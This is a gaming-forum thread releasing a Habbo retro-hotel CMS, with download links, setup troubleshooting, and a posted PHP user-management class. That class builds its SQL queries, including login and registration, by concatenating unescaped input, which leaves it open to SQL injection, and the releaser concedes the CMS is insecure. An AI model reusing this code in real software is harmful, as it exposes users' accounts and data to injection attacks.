Shock!CMS - Official Release

Hiya RaGEZONE

Today I am here to release a very heavily requested CMS - the CMS I used on shock.im before it closed in January.
This CMS is based off UberCMS and features a nice sleek design, and that sexy login page that so many of you wanted!

WARNING
I DO NOT SUPPORT THIS CMS ANYMORE AND WILL ONLY HELP YOU WITH SMALL PROBLEMS.
Although this CMS is functional, it isn't completely secure from accessing pages that shouldn't be accessed! So I do not recommend using this on a hotel unless you decide to fix it up a bit.

This is more of an educational release that can help you with styling elements of your site, etc.

Well anyway...

FEATURES
- Working Groups / Homes - GROUPS were coded for R63B hotels, so the badge editor and group settings have been disabled
- Custom/unique style
- Bot creator
- User statistics
- Advanced search system
- News Comments + article plugins
- Referral system
- External links (if set up properly)
- "Wordfilter" table can be used to create usernames that are banned when registering
- Other little things here and there :P

WHAT IT DOES NOT INCLUDE
- Housekeeping
- c_images, SWFs - you must provide these for yourself

IMAGES
Unfortunately, these are the only images I have left - sorry that they are so small
https://i.gyazo.com/thumb/180/_c3b96...344e9902be.png
https://i.gyazo.com/thumb/180/_cd598...7291d5f763.png
https://i.gyazo.com/thumb/180/_dc355...07fcf03900.png
http://i.gyazo.com/1c88005c1a4960b7cec0f4e4ebeb0134.png

Quote:

---

Originally Posted by Notex

I have included some larger screenshots:

Spoiler:

https://s3.amazonaws.com/fvd-data/no...BNs/screen.png

https://s3.amazonaws.com/fvd-data/no...Nv0/screen.png

https://s3.amazonaws.com/fvd-data/no...OCX/screen.png

https://s3.amazonaws.com/fvd-data/no...Xbg/screen.png

---

CMS DOWNLOAD
Don't trust? Don't download (but trust me, it's clean!)

http://www.mediafire.com/download/9h.../Shock!CMS.zip (15.27MB)

DATABASE DOWNLOAD

http://www.mediafire.com/view/v4o9r0...ck_CLEANED.sql

FIX FOR "SHOCK'S CLOSED"
go into templates/tpl/generic-top.php and find

PHP Code:

---

if(getIP() != "67.190.77.230" && getIP() != "2.220.88.125" && getIP() != "76.98.54.115" && getIP() != "66.67.104.222")
{
    echo 'Shock\'s closed';
    exit;
} 


---

REMOVE THESE LINES. SAVE FILE

Like this release?
+1 like, rep? ;)

This is the best release i've ever seen on RaGEZONE. THANKS FOR SHARING :)

Thanks for this release! :D

I have included some larger screenshots:

Spoiler:

https://s3.amazonaws.com/fvd-data/no...BNs/screen.png

https://s3.amazonaws.com/fvd-data/no...Nv0/screen.png

https://s3.amazonaws.com/fvd-data/no...OCX/screen.png

https://s3.amazonaws.com/fvd-data/no...Xbg/screen.png

Edit: I have not included pictures of the website logged in, since I do not have the database setup.

Quote:

---

Originally Posted by PRIZM

This is the best release i've ever seen on RaGEZONE. THANKS FOR SHARING :)

---

Haha thanks :')

- - - Updated - - -

Quote:

---

Originally Posted by Notex

Thanks for this release! :D

I have included some larger screenshots:

Spoiler:

https://s3.amazonaws.com/fvd-data/no...BNs/screen.png

https://s3.amazonaws.com/fvd-data/no...Nv0/screen.png

https://s3.amazonaws.com/fvd-data/no...OCX/screen.png

https://s3.amazonaws.com/fvd-data/no...Xbg/screen.png

---

Don't tell me you already got it set up? ;)
Thanks for that! I've updated the thread with your screenshots.

Well I have some good news for everyone else, as we speak I'm fixing up a database that you can all use for the CMS components!
Should be uploaded soon.

Quote:

---

Originally Posted by Ddos Attack

Haha thanks :')
Well I have some good news for everyone else, as we speak I'm fixing up a database that you can all use for the CMS components!
Should be uploaded soon.

---

Awesome, I've got a question. What emulator supports the database you are using for this?

Quote:

---

Originally Posted by Notex

Awesome, I've got a question. What emulator supports the database you are using for this?

---

The hotel I ran used a custom version of Butterfly. The database structure for this emulator was different. The CMS is pretty much able to run on other R63B emulator's (and phoenix too with a bit of editing).

Gonna add Rush all over it, removes your pictures, add sh!t ones, rename it, release it. And I'll remove your credits just cause I like ya :)

Kidding. Or am I?! I am. Some of the coding isn't the best :P: How ever it works and works fine. Like the index and register a bit.. Have a few ideas for it ;) Good work amigo.

Quote:

---

Originally Posted by FatalLulz

Gonna add Rush all over it, removes your pictures, add sh!t ones, rename it, release it. And I'll remove your credits just cause I like ya :)

Kidding. Or am I?! I am. Some of the coding isn't the best :P: How ever it works and works fine. Like the index and register a bit.. Have a few ideas for it ;) Good work amigo.

---

oh no pls no =[[

Yeah the coding was pretty crappy in this CMS. It works though. The register + index was actually based off that turkey index on here a while ago, so I just edited it. Needed to be totally redone (along with the rest of the site).
GalaxyCMS is must better than this though :P

The style is nice, I like it.
Nice work. :):

Quote:

---

Originally Posted by Ddos Attack

GalaxyCMS is must better than this though :P

---

Renames own CMS ... Logic = Habborian.

I do see how it has improved with site loading. Actually surprised you released it :o but then you did mention it a bit ago on skype

Quote:

---

Originally Posted by FatalLulz

Renames own CMS ... Logic = Habborian.

I do see how it has improved with site loading. Actually surprised you released it :o but then you did mention it a bit ago on skype

---

haha. The backend of the new version was improved majorly and used MySQLi :P
Only renamed cuz I changed to a new hotel.

- - - Updated - - -

Yay finally got it!

Updated the thread with a download link of the database.
It's not a full emulator database either, so you'll need to find a way to make it work with your emulator too.

Any chance you have the original Habbo turkey index + register stuff laying around? Forgot to download that when it was released.

Quote:

---

Originally Posted by Ddos Attack

Yeah the coding was pretty crappy in this CMS. It works though.

---

Sadly the standard in this community ^

Quote:

---

Originally Posted by The General

Any chance you have the original Habbo turkey index + register stuff laying around? Forgot to download that when it was released.



Sadly the standard in this community ^

---

haha. This CMS went through a lot of edits hence why it was so bad. I've got future stuff coming through soon that will be much better (:

Unfortunately I don't have a copy myself. You'll have to hunt through RaGEZONE.

EDIT:
Seems like it is ur lucky day
http://forum.ragezone.com/showthread...t=habbo+turkey

The me, it isn't a little of bad , but the rest is very beautiful!

- - - Updated - - -

DB not download :(

- - - Updated - - -

DDos attack, why the db not download?

Quote:

---

Originally Posted by Atlantide Owna

The me, it isn't a little of bad , but the rest is very beautiful!

- - - Updated - - -

DB not download :(

- - - Updated - - -

DDos attack, why the db not download?

---

The database is downloading fine for me?

I loved this CMS when you was using it on Shock, thanks for the release.

Nice CMS, thanks for the release


Good work.

This is actually the best cms release in a while. Thanks for releasing, gonna take a look at it, fix it up a bit, then i gonna use it c:

The index and register were the two things that I loved about this CMS. They were so unique and you could only find it on Shock.

Prepare yourselves for the bad edits of this!

Wow, Best release I've been in my life, Keep up the good work mate.

This is amazing , i am just wondering if maybe you could update this theme so you can choose another template and make it more like a cms like Revcms , I think if you add the template part more people are gonna use this Cms , and also maybe make some bases for the templates (only if you decide to do it and if you would like to) . I think this deserves a 10/10 love this and i am deffentily gonna use this on my retro maybe i would add the template part myself but good job mate i would like to see more like this from you!

Thanks for all the support guys! :-)

If you have any problems let me know and I'll help you with what I can!

Is there a .htaccess file? Because when I click on the register button it tells me:

Not Found

The requested URL /register/start was not found on this server.

Quote:

---

Originally Posted by superman1

Is there a .htaccess file? Because when I click on the register button it tells me:

Not Found

The requested URL /register/start was not found on this server.

---

http://pastebin.com/jZ6gNS6A
This should do the trick - I used a converter. Let me know if it doesn't work.

Quote:

---

Originally Posted by Ddos Attack

http://pastebin.com/jZ6gNS6A
This should do the trick - I used a converter. Let me know if it doesn't work.

---

Didn't work for me, is this htaccess for IIS? I'm using apache on a CentOS 7 server.

Quote:

---

Originally Posted by superman1

Didn't work for me, is this htaccess for IIS? I'm using apache on a CentOS 7 server.

---

That should work with Apache.
http://pastebin.com/RqPsHX0w
Try this, I updated it a bit

Quote:

---

Originally Posted by Ddos Attack

That should work with Apache.
http://pastebin.com/RqPsHX0w
Try this, I updated it a bit

---

Didn't work. Now I've got an Internal Server Error..

Quote:

---

Originally Posted by superman1

Didn't work. Now I've got an Internal Server Error..

---

Try this one? :P
http://pastebin.com/BQ8ChpaG

Pretty good! People don't say it's bad, look at his username...

Quote:

---

Originally Posted by FlameStick

Pretty good! People don't say it's bad, look at his username...

---

Damn right! ;)

Quote:

---

Originally Posted by Ddos Attack

Try this one? :P
http://pastebin.com/BQ8ChpaG

---

No internal error anymore, now it has the Not Found error again.

Can i use the Plus Emulator without editing?

Page not found problem.
I use XAMPP 1.8.3.

i keep getting this http://prntscr.com/4a5gpn even though the captcha is obviously correct

"Page not found".. It doesn't work with XAMPP :(:
I hope you can help me :)

PAGE NOT FOUND?

Not problem, download this file and put it in htdocs:
https://www.mediafire.com/?k61dj51z8k54ok3

Amazing .

Quote:

---

Originally Posted by Raikas77

PAGE NOT FOUND?

Not problem, download this file and put it in htdocs:
https://www.mediafire.com/?k61dj51z8k54ok3

---

Nope, it doesn't work.
Server error now :s

Quote:

---

Originally Posted by Mat55

Nope, it doesn't work.
Server error now :s

---

Sorry man, now work:
https://www.mediafire.com/?k61dj51z8k54ok3

Quote:

---

Originally Posted by Raikas77

Sorry man, now work:
https://www.mediafire.com/?k61dj51z8k54ok3

---

Nope :s

Quote:

---

Originally Posted by Mat55

Nope :s

---

Yep, you have downloaded it again? :)
In my pc now work.-

Quote:

---

Originally Posted by Raikas77

Yep, you have downloaded it again? :)
In my pc now work.-

---

Which XAMPP version you use?

Quote:

---

Originally Posted by Mat55

Which XAMPP version you use?

---

I am using in my pc xampp 1.7.1, and work fine.

Thank You :D

Quote:

---

Originally Posted by Raikas77

I am using in my pc xampp 1.7.1, and work fine.

---

Yes thank you!

Quote:

---

Originally Posted by peaktolab

After my Registration (http://localhost/welcome) comes a white site with only Shock's closed.

Where can help me?

---

Oh ! I forgot about that issue. I'll take a look at the code and release a fix :)

UPDATED MAIN POST

Quote:

---

Originally Posted by PRIZM

This is the best release i've ever seen on RaGEZONE. THANKS FOR SHARING :)

---

Not sure what planet you're on, This is FAR from the 'best' release it's merely some shitty reproduced CMS with poor code.

Quote:

---

Originally Posted by Ethicks

Not sure what planet you're on, This is FAR from the 'best' release it's merely some shitty reproduced CMS with poor code.

---

Hence why I recommend that this is not used on an actual hotel, but rather used to grab styles, homes/groups etc.
Listen to us, guys!

Can i add this register to my revcms?

No Housekeeping? Shit! Add it.

Quote:

---

Originally Posted by TimmXD

Where and how do we edit the client because when I went into page-client it has nothing we can edit. -__-

---

The client can be edited in habboweb/web-gallery/js/habboflashclient.php at the bottom of that file

Quote:

---

Originally Posted by Ddos Attack

The client can be edited in habboweb/web-gallery/js/habboflashclient.php at the bottom of that file

---

Yeah, I figured it out but since I am trying to make it work with r63B not the type you had the updated version the EMU comes up with Error in query x3 then says critical error logged but i think its with the db. :L

I personally loved the housekeeping's design. It would be great if you could release it for educational purposes now that Shock has closed.

I always loved Shock's design, it was a shame that it didn't get many users. Great job to everyone who were behind it, and thanks for releasing.

When I click on the index on 'join now for free' . It doesn't find the page

Quick question.. Why is it still trying to redirect to Shock.im when I click login on the index page? I've opened EVERY file in notepad ++ and did a search through all and couldn't find anything.

Quote:

---

Originally Posted by TylerTurton

Quick question.. Why is it still trying to redirect to Shock.im when I click login on the index page? I've opened EVERY file in notepad ++ and did a search through all and couldn't find anything.

---

Make sure you've edited

Code:

---

$config['Site']['www'] = "http://shock.im";

---

in "includes\inc.config.php."


Also make sure that you've edited the FindRetros settings in "thehabbos_api\config.php."

Quote:

---

Originally Posted by brandonsuxx

Make sure you've edited

Code:

---

$config['Site']['www'] = "http://shock.im";

---

in "includes\inc.config.php."


Also make sure that you've edited the FindRetros settings in "thehabbos_api\config.php."

---

Yeah, I know that, and I got rid of the voting api.

Quote:

---

Originally Posted by TylerTurton

Yeah, I know that, and I got rid of the voting api.

---

Are you still having this problem? Try clearing your cache.

Can someone link me to a Emulator to use for this?

Quote:

---

Originally Posted by brandonsuxx

Are you still having this problem? Try clearing your cache.

---

It brings me to the voting page now.. -.- even with cache cleared, xampp services restarted, etc.

Quote:

---

Originally Posted by TylerTurton

It brings me to the voting page now.. -.- even with cache cleared, xampp services restarted, etc.

---

try going to http://weblink/?novote

- - - Updated - - -

Quote:

---

Originally Posted by funkyben

Can someone link me to a Emulator to use for this?

---

Other's have mentioned that PlusEMU seems to work fine with this. Phoenix should too although a few things may need to be edited.

- - - Updated - - -

Quote:

---

Originally Posted by SuperDries

When I click on the index on 'join now for free' . It doesn't find the page

---

Make sure you are using IIS (not xampp/apache) otherwise you'll need to find a .htaccess file.

- - - Updated - - -

Quote:

---

Originally Posted by xDonatello

No Housekeeping? Shit! Add it.

---

I mentioned that I do not recommend using this CMS for production because a lot of things need to be changed in it.
From what I've heard, the original uber hk might be fine, although some things will need to be modified.

- - - Updated - - -

Quote:

---

Originally Posted by ImNotSatan

Can i add this register to my revcms?

---

Go ahead :ott1:
Although you'll need to convert it over!

Quote:

---

Originally Posted by TylerTurton

It brings me to the voting page now.. -.- even with cache cleared, xampp services restarted, etc.

---

Do a full file search for findretros.com or retroslist.com. Post back with the results.

Nice CMS, great design. The coding is pretty crappy tho.

The sad thing though, there will always be flaws and exploits in every CMS published these days.
My opinion is just taking RevCMS and making a skin.

When can fix the CMS and the download. Sorry for my english bad ! (I'm French).

Quote:

---

Originally Posted by Walt Retro

When can fix the CMS and the download. Sorry for my english bad ! (I'm French).

---

The download is working fine :)

I think this is actually my favorite design for a Habbo layout (except from the Index which I don't like :P:).

Maybe you could improve the code and add some more features? I know Uber isn't the best CMS as in code so there is room for improvement.

Quote:

---

Originally Posted by The General

I think this is actually my favorite design for a Habbo layout (except from the Index which I don't like :P:).

Maybe you could improve the code and add some more features? I know Uber isn't the best CMS as in code so there is room for improvement.

---

Thanks for the feedback!
Unfortunately, I don't use this copy of the CMS anymore, its not very good as many people have already stated haha.

I have a newer CMS which hopefully I can modify to work better setting up, however I simply don't have the time atm :P

Quote:

---

Originally Posted by Ddos Attack

Thanks for the feedback!
Unfortunately, I don't use this copy of the CMS anymore, its not very good as many people have already stated haha.

I have a newer CMS which hopefully I can modify to work better setting up, however I simply don't have the time atm :P

---

I see.

I just like the layout. Its clean and simple.

Sorry, Who can fix this CMS ?

Quote:

---

Originally Posted by Walt Retro

Sorry, Who can fix this CMS ?

---

What is wrong with it?

Quote:

---

Originally Posted by Ddos Attack

What is wrong with it?

---

I don't think there is something wrong with it. Walt Retro just does not know anything as i see posts from him asking for help and asking for all fixes. :closedeyes:

Doesn't work with apache?

Quote:

---

Originally Posted by brandonsuxx

Do a full file search for findretros.com or retroslist.com. Post back with the results.

---

With EVERY file open..

http://i.imgur.com/33hgwaK.png

Quote:

---

Originally Posted by TylerTurton

With EVERY file open..

http://i.imgur.com/33hgwaK.png

---

I don't understand. After voting for your hotel, I'm not redirected to "http://24.57.236.209/", not Shock.im.

If you mean that you don't want to have people vote, just comment out line 11 in api.php.

Quote:

---

Originally Posted by brandonsuxx

I don't understand. After voting for your hotel, I'm not redirected to "http://24.57.236.209/", not Shock.im.

If you mean that you don't want to have people vote, just comment out line 11 in api.php.

---

Even when I had the voting disabled it still tried sending me to shock

Quote:

---

Originally Posted by brandonsuxx

I don't understand. After voting for your hotel, I'm not redirected to "http://24.57.236.209/", not Shock.im.

If you mean that you don't want to have people vote, just comment out line 11 in api.php.

---

He probably didn't have the correct URL set up within findretros.com client voting page.

http://i.gyazo.com/43e0a440b26d73a5a1c195c5c0f086d9.png

How do you add the wizard for creating groups?

Quote:

---

Originally Posted by JackHoll

How do you add the wizard for creating groups?

---

The CMS was built for R63B; hence groups can only be created in client.

Deleted api.php and the folder "thehabbos_api", still redirects me to shock voting when logging in...

Quote:

---

Originally Posted by David Redziniak

Deleted api.php and the folder "thehabbos_api", still redirects me to shock voting when logging in...

---

My only guess is there's a script in the /me which directs you to a voting page after the login. I haven't had a look in this so I'm not entirely sure.

Quote:

---

Originally Posted by Unphased

My only guess is there's a script in the /me which directs you to a voting page after the login. I haven't had a look in this so I'm not entirely sure.

---

Oh! That reminds me!!
Yeah on the login page, there is a JavaScript file called habbo.js and inside that file is a redirect to find retros. Delete that redirect and change it to /me

I'm getting the same error as a fellow user.

When I do register it just loads the green button then goes back to normal, no redirection.

Also, the wrong captcha, but I've double checked.

Quote:

---

Originally Posted by iModiPodz

I'm getting the same error as a fellow user.

When I do register it just loads the green button then goes back to normal, no redirection.

Also, the wrong captcha, but I've double checked.

---

what he sead... Please help.

If you're having issues Registering or Logging in then Use this Class.users.php
works for me edited the users insert Queries

PHP Code:

---

<?php
/*=======================================================================
| UberCMS - Advanced Website and Content Management System for uberEmu
| #######################################################################
| Copyright (c) 2010, Roy 'Meth0d' and updates by Matthew 'MDK'
| http://www.meth0d.org & http://www.sulake.biz
| #######################################################################
| This program is free software: you can redistribute it and/or modify
| it under the terms of the GNU General Public License as published by
| the Free Software Foundation, either version 3 of the License, or
| (at your option) any later version.
| #######################################################################
| This program is distributed in the hope that it will be useful,
| but WITHOUT ANY WARRANTY; without even the implied warranty of
| MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
| GNU General Public License for more details.
\======================================================================*/

class uberUsers
{    
    private $userCache = Array();
    public function IsValidEmail($email = '')
    {
        if (mysql_num_rows(dbquery("SELECT null FROM users WHERE mail = '".$email."' LIMIT 1")))
            return true;
        
        return preg_match("/^[a-z0-9_\.-]+@([a-z0-9]+([\-]+[a-z0-9]+)*\.)+[a-z]{2,7}$/i", $email);
    }
    
    public function IsEmailTaken($email = '')
    {
        if (mysql_num_rows(dbquery("SELECT null FROM users WHERE mail = '".$email."' LIMIT 1")))
            return false;
        
        return true;
    }
    
    public function IsValidName($name)
    {
        if(!preg_match('/^[a-z0-9-]+$/i', $name)){
            return false;
        }
        elseif(mysql_num_rows(dbquery("SELECT word FROM wordfilter WHERE word = '".$name."' LIMIT 1")) > 0){
            return false;
        }
        elseif(strlen($name) > 32){
            return false;
        }
        elseif(strlen($name) < 3){
            return false;
        }
        else {
            return true;
        }
    }
    
    public function IsNameTaken($nm = '')
    {
        return ((mysql_num_rows(dbquery("SELECT null FROM users WHERE username = '".$nm."' LIMIT 1")) > 0) ? true : false);
    }
    
    public function IdExists($id = 0)
    {
        return ((mysql_num_rows(dbquery("SELECT null FROM users WHERE id = '".$id."' LIMIT 1")) > 0) ? true : false);
    }
    
    public function IsNameBlocked($nm = '')
    {    
        foreach ($this->blockedNames as $bl)
        {
            if (strtolower($nm) == strtolower($bl))
            {
                return true;
            }
        }
        
        foreach ($this->blockedNameParts as $bl)
        {
            if (strpos(strtolower($nm), strtolower($bl)) !== false)
            {
                return true;
            }
        }
        
        return false;
    }    
    
    /**************************************************************************************************/
    
    function Add($username = '', $realname = '', $passwordHash = '',$email = 'default@localhost',$figure = 'hd-180-1.ch-210-66.lg-270-82.sh-290-91.hr-100-',$sex = 'M',$referrer = '', $dob = '')
    {
        if($sex != "m" && $sex != "f")
        {
            $sex = "m";
        }

        global $core;

        dbquery("INSERT INTO users (username,motto,real_name,password,mail,auth_ticket,look,gender,last_online,account_created,home_room,ip_last,ip_reg,date_of_birth,credits,activity_points,vip_points,belcredits) 
            VALUES ('".$username."','I am new here!','".$realname."','".$passwordHash."','".$email."','','".$figure."','".$sex."','".time()."',unix_timestamp(),'0','".getIP()."','".getIP()."','".$dob."','5000','2500','0','2')");

        $id = intval(mysql_result(dbquery("SELECT id FROM users WHERE username = '".$username."' ORDER BY id DESC LIMIT 1"), 0));

        dbquery("INSERT INTO user_info (user_id,bans,cautions,reg_timestamp,login_timestamp,cfhs,cfhs_abusive) VALUES ('".$id."','0','0','".time(). "','".time()."','0','0')");
        $grabrefer = mysql_fetch_assoc(dbquery("SELECT id,username FROM users WHERE username = '".mysql_real_escape_string($referrer)."' LIMIT 1"));

        if(strlen($referrer) > 0){
            dbquery("INSERT INTO user_referral (userid,referrer,timestamp) VALUES ('".$id."','".$grabrefer['id']."',current_timestamp())");
            dbquery("UPDATE users SET referrals = referrals + 1 WHERE id = '".$grabrefer['id']."'");
        }

        dbquery("INSERT INTO site_homes_stickers (userid,x,y,z,data,type,subtype,skin,groupid,var,enabled) VALUES ('".$id."','594','54','48','','2','1','defaultskin','-1','0','1')");
        dbquery("INSERT INTO site_homes_stickers (userid,x,y,z,data,type,subtype,skin,groupid,var,enabled) VALUES ('".$id."','594','310','50','','2','3','defaultskin','-1','0','1')");
        dbquery("INSERT INTO site_homes_stickers (userid,x,y,z,data,type,subtype,skin,groupid,var,enabled) VALUES ('".$id."','49','50','42','[color=red][b]Welcome to your Buzz! Home[/b][/color]. You have the ability to decorate this page how ever you like! You never know, you may be the winner of a &quot;[i]Best Design[/i]&quot; award!','3','0','speechbubbleskin','-1','0','1')");
        dbquery("INSERT INTO site_homes_stickers (userid,x,y,z,data,type,subtype,skin,groupid,var,enabled) VALUES ('".$id."','162','42','71','july408_boom_2','1','0','','-1','0','1')");
        dbquery("INSERT INTO site_homes_stickers (userid,x,y,z,data,type,subtype,skin,groupid,var,enabled) VALUES ('".$id."','570','30','61','july408_boom_3','1','0','','-1','0','1')");
        dbquery("INSERT INTO site_homes_stickers (userid,x,y,z,data,type,subtype,skin,groupid,var,enabled) VALUES ('".$id."','226','30','73','hw_hairspray','1','0','','-1','0','1')");
        dbquery("INSERT INTO site_homes_stickers (userid,x,y,z,data,type,subtype,skin,groupid,var,enabled) VALUES ('".$id."','779','262','81','fwrk_blue','1','0','','-1','0','1')");
        dbquery("INSERT INTO site_homes_stickers (userid,x,y,z,data,type,subtype,skin,groupid,var,enabled) VALUES ('".$id."','774','260','77','fwrk_pink','1','0','','-1','0','1')");
        dbquery("INSERT INTO site_homes_stickers (userid,x,y,z,data,type,subtype,skin,groupid,var,enabled) VALUES ('".$id."','786','260','79','fwrk_yellow','1','0','','-1','0','1')");
        dbquery("INSERT INTO permissions_users (userid) VALUES ('".$id."')");

//        $core->Mus("update_permissions");

        return $id;
    }
    
    function Delete($id)
    {
        dbquery("DELETE FROM messenger_friendships WHERE user_one_id = '".$id."' OR user_two_id = '".$id."'");
        dbquery("DELETE FROM messenger_requests WHERE to_id = '".$id."' OR from_id = '".$id."'");
        dbquery("DELETE FROM users WHERE id = '".$id."' LIMIT 1");
        dbquery("DELETE FROM user_subscriptions WHERE user_id = '".$id."'");
        dbquery("DELETE FROM user_info WHERE user_id = '".$id."' LIMIT 1");
        dbquery("DELETE FROM user_items WHERE user_id = '".$id."'");
    }
    
    /**************************************************************************************************/
    
    function ValidateUser($username, $password)
    {
        return mysql_num_rows(dbquery("SELECT null FROM users WHERE username='".$username."' AND password='".$password."' LIMIT 1"));
    }
    function ValidateUserByEmail($email, $password)
    {
        if ($rows = mysql_num_rows(dbquery("SELECT null FROM users WHERE mail='".$email."' AND password='".$password."' LIMIT 1")))
            return mysql_num_rows(dbquery("SELECT null FROM users WHERE mail='".$email."'"));
        else
            return $rows;
    }
    function ValidateLogin($user_mail, $password)
    {
        if ($user = $this->ValidateUser($user_mail, $password))
            return array(1, 0, 1);
        else if ($emails = $this->ValidateUserByEmail($user_mail, $password))
            return array(1, 1, $emails);
        else
            return array(0, null, null);
    }
    
    /**************************************************************************************************/
    
    function Name2id($username = '')
    {
        return [MENTION=874269]Int[/MENTION]val(mysql_result(dbquery("SELECT id FROM users WHERE username = '".$username."' LIMIT 1"), 0));
    }
    
    function Id2name($id = -1)
    {
        if (isset($this->userCache[$id]['username']))
        {
            return $this->userCache[$id]['username'];
        }    
    
        $name = mysql_result(dbquery("SELECT username FROM users WHERE id = '".$id."' LIMIT 1"), 0);
        $this->userCache[$id]['username'] = $name;
        return $name;
    }    
    
    function Email2id($email = '')
    {
        return [MENTION=874269]Int[/MENTION]val(mysql_result(dbquery("SELECT id FROM users WHERE mail = '".$email."' LIMIT 1"), 0));
    }
    
    /**************************************************************************************************/
    
    function CacheUser($id)
    {
        $data = mysql_fetch_assoc(dbquery("SELECT * FROM users WHERE id = '".$id."' LIMIT 1"));
        
        foreach ($data as $key => $value)
        {
            $this->userCache[$id][$key] = $value;
        }
    }
    
    function GetUserVar($id, $var, $allowCache = true)
    {
        if ($allowCache && isset($this->userCache[$id][$var]))
        {
            return $this->userCache[$id][$var];
        }    
    
        $val = [MENTION=1333341228]Mysql[/MENTION]_result(dbquery("SELECT " . $var . " FROM users WHERE id = '".$id."' LIMIT 1"), 0);
        $this->userCache[$id][$var] = $val;
        return $val;
    }
    
    // do not remove - still used in hk
    function formatUsername($id, $link = true, $styles = true)
    {
        $datas = dbquery("SELECT id,rank,username FROM users WHERE id = '".$id."' LIMIT 1");
        
        if (mysql_num_rows($datas) == 0)
        {
            return '<s>Unknown User</s>';
        }
        
        $data = mysql_fetch_assoc($datas);
        
        $prefix = '';
        $name = $data['username'];
        $suffix = '';
        
        if ($link)
        {
            $prefix .= '<a href="/user/' . filter($data['username']) . '">';
            $suffix .= '</a>';
        }
        
        if ($styles)
        {
            $rank = $this->getRank($id);
            
            $rankData = dbquery("SELECT prefix,suffix FROM ranks WHERE id = '".$rank."' LIMIT 1");
            
            if (mysql_num_rows($rankData) == 1)
            {
                $rankData = mysql_fetch_assoc($rankData);
                
                $prefix .= $rankData['prefix'];
                $suffix .= $rankData['suffix'];
            }
        }
        
        return filter($prefix . $name . $suffix, true);
    }
    // do not remove - still used in hk
    
    /**************************************************************************************************/

    function getRank($id)
    {
        if (isset($this->userCache[$id]['rank']))
        {
            return $this->userCache[$id]['rank'];
        }
    
        $rankId = [MENTION=874269]Int[/MENTION]val(mysql_result(dbquery("SELECT rank FROM users WHERE id = '".intval($id)."' LIMIT 1"), 0));
        $this->userCache[$id]['rank'] = $rankId;
        return $rankId;
    }
    
    function getRankVar($rankId, $var)
    {
        return mysql_result(dbquery("SELECT " . $var . " FROM ranks WHERE id = '".intval($rankId)."' LIMIT 1"), 0);
    }
    
    function getRankName($rankId)
    {
        return $this->getRankVar($rankId, 'name');
    }
    
    function hasFuse($id, $permission)
    {
        $has_power = mysql_fetch_assoc(dbquery("SELECT $permission FROM permissions_hk WHERE userid='".$id."' LIMIT 1"));
        if($has_power[$permission] == 1)
        {
            return true;
        }else
        {
            return false;
        }
    }
    
    function hasPerm($id, $permission, $value='0')
    {
        $has_power = mysql_fetch_assoc(dbquery("SELECT $permission FROM permissions_users WHERE userid='".$id."' LIMIT 1"));
        if($value == '0' && $permission != "max_bots" && $permission != "idle_time" && $permission != "flood_time")
        {
            if($has_power[$permission] == 1)
            {
                return true;
            }else
            {
                return false;
            }    
        }elseif($permission == "max_bots" || $permission == "idle_time" || $permission == "flood_time")
        {
            if($value == '0')
            {
                return "Oops, an error has occured!";
            }elseif($value == '1')
            {
                return $has_power[$permission];
            }
        }else
        {
            return false;
        }
    }
    
    /**************************************************************************************************/

    function CheckSSO($id)
    {
        global $core;
        
        if (strlen($this->getUserVar($id, 'auth_ticket')) <= 3)
        {
            dbquery("UPDATE users SET auth_ticket = '".$core->generateTicket($this->getUserVar($id, 'username'))."' WHERE id = '".$id."' LIMIT 1");
        }
    }
    
    /**************************************************************************************************/
    
    function getCredits($id)
    {
        return $this->getUserVar($id, 'credits');
    }
    
    function setCredits($id, $newAmount)
    {
        global $core;
    
        dbquery("UPDATE users SET credits = '".$newAmount. "' WHERE id = '".$id."' LIMIT 1");
        $core->Mus('updateCredits:' . $id);
    }
    
    function giveCredits($id, $amount)
    {
        global $core;
    
        return $this->setCredits($id, ($this->getCredits($id) + $amount));
        $core->Mus("currency $amount 0 0 $id 0 0");
    }
    
    function takeCredits($id, $amount)
    {
        global $core;
    
        return $this->setCredits($id, ($this->getCredits($id) - $amount));
        $core->Mus("currency $amount 0 0 $id 1 0");
    }    
    
    function renderHabboImage($id, $size = 'b', $dir = 2, $head_dir = 3, $action = 'wlk', $gesture = 'sml')
    {
        $look = $this->getUserVar($id, 'look');
        
        return 'http://habbo.co.uk/habbo-imaging/avatarimage?figure=' . $look . '&size=' . $size . '&action=' . $action . ',&gesture=' . $gesture . '&direction=' . $dir . '&head_direction=' . $head_dir;
    }
    
    function getClubDays($id)
    {
        $sql = dbquery("SELECT timestamp_activated, timestamp_expire FROM user_subscriptions WHERE subscription_id = 'habbo_club' AND user_id = '".$id."' LIMIT 1");
        
        if (mysql_num_rows($sql) == 0)
        {
            return 0;
        }
        
        $data = mysql_fetch_assoc($sql);
        $diff = $data['timestamp_expire'] - time();
        
        if ($diff <= 0)
        {
            return 0;
        }
        
        return ceil($diff / 86400);
    }
    
    function hasClub($id)
    {
        return ($this->getClubDays($id) > 0) ? true : false;
    }
    
    /**************************************************************************************************/
    
    public static function IsUserBanned($name)
    {
        if (uberUsers::GetBan('user', $name, true) != null)
        {
            return true;
        }
        
        return false;
    }
    
    public static function IsIpBanned($ip)
    {
        if (uberUsers::GetBan('ip', $ip, true) != null)
        {
            return true;
        }
        
        return false;
    }
    
    public static function GetBan($type, $value, $mustNotBeExpired = false)
    {
        $q = "SELECT * FROM bans WHERE bantype = '".$type."' AND value = '".$value."' ";
        
        if ($mustNotBeExpired)
        {
            $q .= "AND expire > " . time() . " ";
        }
        
        $q .= " ORDER BY id LIMIT 1";
    
        $get = dbquery($q);
        
        if (mysql_num_rows($get) > 0)
        {
            return mysql_fetch_assoc($get);
        }
    
        return null;
    }    
    
    /**************************************************************************************************/
    
    public static function GetUserTags($userId)
    {
        $tagsArray = Array();
        $data = dbquery("SELECT id,tag FROM user_tags WHERE user_id = '".$userId."'");
        
        while ($tag = mysql_fetch_assoc($data))
        {
            $tagsArray[$tag['id']] = $tag['tag'];
        }
        
        return $tagsArray;
    }
    
    /**************************************************************************************************/
    
    public static function Is_Online($userId)
    {
        $result = dbquery("SELECT `online` FROM `users` WHERE `id` = '".$userId."' LIMIT 1");
        $row = mysql_fetch_assoc($result);
        return $row['online'];
    }
    
    public function EatCredits($id, $credits, $restar = true)
    {
        if($restar)
        {
            dbquery("UPDATE users SET credits = credits - ".$credits." WHERE id = '".$id."' LIMIT 1");    
        }
        else
        {
            dbquery("UPDATE users SET credits = ".$credits." WHERE id = '".$id."' LIMIT 1");
        }
        return true;    
    }

}

?>

---

Quote:

---

Originally Posted by Stripez

Nice CMS, great design. The coding is pretty crappy tho.

